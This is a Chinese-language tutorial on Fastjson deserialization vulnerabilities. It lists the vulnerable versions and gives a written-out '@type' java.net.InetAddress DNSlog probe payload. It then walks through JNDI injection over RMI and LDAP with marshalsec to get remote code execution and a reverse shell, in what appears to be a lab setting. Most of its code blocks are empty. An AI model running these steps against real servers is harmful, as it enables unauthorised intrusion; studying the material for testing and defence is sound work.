FastJson漏洞
简介
Fastjson是阿里巴巴公司开源的一款JSON解析器,它可以解析 JSON 格式的字符串,是一个 Java 库, 支持将 Java Bean 序列化为 JSON 字符串,也可以从 JSON 字符串反序列化到 Java Bean。可以将 Java 对象转换为 JSON 格式,当然它也可以将 JSON 字符串转换为 Java 对象。Fastjson 可以操作任何 Java 对象,即使是一些预先存在的没有源码的对象。
总结的说fastjson就是一个alibaba写的java的解析器
历史漏洞
Fastjson <=1.2.24 反序列化远程命令执行漏洞
Fastjson <=1.2.41 反序列化远程命令执行漏洞
Fastjson <=1.2.42 反序列化远程命令执行漏洞
Fastjson <=1.2.43 反序列化远程命令执行漏洞
Fastjson <=1.2.45 反序列化远程命令执行漏洞
Fastjson <=1.2.47 反序列化远程命令执行漏洞
Fastjson <=1.2.62 反序列化远程命令执行漏洞
Fastjson <=1.2.66 反序列化远程命令执行漏洞
可见基本都是反序列化漏洞
漏洞发现
json认识
https://www.runoob.com/json/json-tutorial.html
总结的说,就是一种结构格式化规定
1 |
|
Fastjson的作用是用于对JSON格式的数据进行解析和打包,所以出现Json格式的地方,就有可能 使用了Fastjson
漏洞检测
前提知识
java.net.InetAddress 这个类在实例化时会尝试对 example.com 进行域名解析,这时候可 以通过 dnslog 的方式得知漏洞是否存在
dns域名解析网站
这里我拿1.2.47举列子
获取一个域名
然后添加payload
1
2
3
4
5
6{
"name":{
"@type":"java.net.InetAddress",
"val":"任意字符.qydzoe.dnslog.cn"
}
}注意必须要修改content-type修改为json
然后发送这个包,我们尝试获取则这个包的结果是什么
除了上面这个方式通常还可以尝试使用 报错 的方式
JNDI注入 + RMI
JNDI
JNDI(The Java Naming and Directory Interface,Java命名和目录接口)是一组在Java应用中访问命名和目录服务的API,命名服务将名称和对象联系起来,使得我们可以用名称访问对象。
可以访问以下的服务
RMI (JAVA远程方法调用)
LDAP (轻量级目录访问协议)
CORBA (公共对象请求代理体系结构)
DNS (域名服务)
RMI
RMI是Java远程方法调用,是Java编程语言里,一种用于实现远程过程调用的应用程序编程接口。
我们使用上面两个获取rce
方法一
https://github.com/mbechler/marshalsec
借助 marshalsec 项目启动一个rmi服务器,监听一个端口,并指定加载远程类 Exploit.class。
maven打包项目成jar包:
1 |
|
注意这里要求必须使用jdk1.8
编写并编译恶意代码
注意:
ava保存的文件名必须与类名一致;
如果文件中只有一个类,文件名必须与类名一致;
一个Java文件中只能有一个public类;
touch.java
1 |
|
然后将这个编译成为javac程序,然后尝试去访问开启http服务,再使用maven开一个服务器
分别的指令是
1 |
|
记得修改ip,端口
然后发送exp
1 |
|
记得修改为自己的ip和端口
有收到connection
确定一下
成功创建,尝试反弹shell
1 |
|
先javac一下,创建一个maven服务器
1 |
|
发送exp
1 |
|
成功反弹
JNDI注入 + LDAP
LDAP是基于X.500标准的轻量级目录访问协议,目录是一个为查询、浏览和搜索而优化的数据库,它成树状结构组织数据,类似文件目录一样。
我使用工具进行了
1 |
|
记得修改反弹shell的命令
然后他会生成payload
1 |
|
FastJson1.2.47反序列化漏洞
漏洞概述
fastjson 在解析 json 的过程中,支持使用 autoType 来实例化某一个具体的类,并调用该类的 set/get 方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链。 fastjson 于 1.2.24 版本后增加了反序列化白名单,而在 1.2.48 以前的版本中,攻击者可以利用特殊构造的 json 字符串绕过白名单检测,成功执行任意命令。
影响版本
Fastjson < 1.2.48
漏洞环境
1 |
|
漏洞检测
原理:java.net.InetAddress 这个类在实例化时会尝试对 example.com 进行域名解析,这时候可 以通过dnslog的方式得知漏洞是否存在
漏洞利用
JNDI + LDAP
方法一和上面一样,尝试方法二
JNDI注入 + RMI 方法二
我尝试使用第一个
就是和上面的一样,远程代码执行
直接反弹shell了
1 |
|
注意得写自己的ip和端口
他会提醒你payload,我们直接发送他给的就行了
成功反弹